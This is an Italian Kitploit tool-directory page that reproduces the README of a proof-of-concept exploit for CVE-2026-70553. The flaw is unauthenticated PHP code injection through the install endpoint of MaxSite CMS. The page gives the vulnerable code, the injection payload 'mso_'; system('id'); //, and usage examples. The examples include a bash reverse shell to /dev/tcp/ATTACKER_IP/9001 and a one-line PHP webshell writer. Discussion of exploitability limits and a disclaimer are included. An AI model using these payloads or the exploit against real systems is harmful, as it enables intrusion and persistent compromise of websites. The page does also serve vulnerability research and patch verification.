Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-70553-PoC — Exploit proof-of-concept per CVE-2026-70553, che consente RCE non autenticata in MaxSite CMS tramite iniezione PHP persistente in `database.php` attraverso l'endpoint di installazione. | Kitploit
Strumenti/GitHubGitHub/woshidashabi1126/cve-2026-70553-poc
Generazione di PayloadExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubwoshidashabi1126/cve-2026-70553-poc

CVE-2026-70553-PoC

Exploit proof-of-concept per CVE-2026-70553, che consente RCE non autenticata in MaxSite CMS tramite iniezione PHP persistente in `database.php` attraverso l'endpoint di installazione.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
113 giorni faNon ancora revisionato

CVE-2026-70553 - RCE non autenticata in MaxSite CMS

CVE CVSS

Proof-of-Concept per CVE-2026-70553: esecuzione remota di codice non autenticata in MaxSite CMS tramite iniezione persistente di codice PHP in database.php attraverso l'endpoint di installazione.


Disclaimer

Questo PoC è destinato esclusivamente a fini didattici e di ricerca sulla sicurezza autorizzata. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo codice. Effettua test solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta.


Panoramica della vulnerabilità

Le versioni di MaxSite CMS dalla 105.2 alla 109.5 contengono una vulnerabilità critica di esecuzione remota di codice non autenticata nell'endpoint di installazione. Il parametro db_dbprefix viene concatenato direttamente nel codice PHP senza sanitizzazione, consentendo agli attaccanti di iniettare istruzioni PHP arbitrarie in application/config/database.php. Poiché questo file viene incluso a ogni richiesta, il codice iniettato permette di ottenere una RCE persistente.


Versioni interessate

  • MaxSite CMS 105.2 - 109.5
  • Corretto in: 109.6 (2026-06-08)

Dettagli tecnici

Causa principale

In install/installer/functions.php, la funzione newDatabase() costruisce il contenuto di database.php:

root@kitploit:~
function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

Meccanismo dell'exploit

Iniettando un payload come:

root@kitploit:~
db_dbprefix=mso_'; system('id'); //

Il database.php generato diventa:

root@kitploit:~
$db['default']['dbprefix'] = 'mso_'; system('id'); //';

Questo consente di uscire dalla stringa letterale e iniettare codice PHP arbitrario.

Patch (109.6)

La correzione ha aggiunto un controllo per impedire la re-installazione:

root@kitploit:~
if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

Utilizzo

Installazione

root@kitploit:~
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

Utilizzo di base

root@kitploit:~
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

Opzioni

root@kitploit:~
--cmd           PHP code to inject (default: file write test)
--check-only    Only check if install endpoint is accessible
--db-host       Database hostname (default: localhost)
--db-user       Database username (default: test)
--db-pass       Database password (default: test)
--db-name       Database name (default: test)

Vincoli di sfruttamento

CRITICO: Questa vulnerabilità presenta gravi limitazioni pratiche negli scenari reali.

Requisiti

  1. L'endpoint di installazione deve essere accessibile (directory /install/ non rimossa)
  2. Le tabelle del database NON devono ancora esistere (installazione pulita o database svuotato)
    • La funzione newDatabase() viene chiamata solo se le tabelle non esistono
    • Questo viene verificato in install/installer/post.php tramite checkTableExists()

Perché la maggior parte dei siti NON è vulnerabile

  • I siti di produzione hanno completato l'installazione → Le tabelle esistono → newDatabase() non viene mai chiamata
  • Anche se /install/ è accessibile, il percorso del codice verso l'iniezione è bloccato dal controllo sull'esistenza delle tabelle
  • La nostra scansione di massa ha rilevato che solo circa il 24% dei siti aveva l'endpoint di installazione accessibile e lo 0% era effettivamente sfruttabile a causa delle tabelle di database esistenti

Sfruttabilità nel mondo reale

  • Teorica: Critica (9.8 CVSS)
  • Pratica: Molto bassa
  • Profilo realistico del target:
    • Installazione interrotta a metà del processo
    • Database eliminato manualmente ma codice ancora presente
    • Nuove istanze di test/sviluppo (non di produzione)

Riproduzione locale

Per verificare questa vulnerabilità in un ambiente controllato:

Preparazione dell'ambiente vulnerabile

root@kitploit:~
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

Verifica dell'iniezione

root@kitploit:~
# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt

Riferimenti

  • CVE-2026-70553 - Record CVE
  • Scheda NVD
  • Advisory VulnCheck
  • MaxSite CMS GitHub
  • Commit della patch (109.6)

Cronologia

  • 2026-06-08: MaxSite CMS 109.6 rilasciato con la correzione
  • 2026-08-04: CVE-2026-70553 pubblicato
  • 2026-08-06: PoC rilasciato

Crediti

  • Scoperta: Amir Aliu & Enrik Mustafa (VulnCheck)
  • Sviluppo del PoC: Ricercatore di sicurezza
  • Produttore: MaxSite CMS Team

Licenza

Questo progetto è rilasciato sotto la licenza MIT. Vedi LICENSE per i dettagli.


Ricorda: Pratica sempre la divulgazione responsabile e ottieni la dovuta autorizzazione prima di eseguire test.

Scarica lo strumento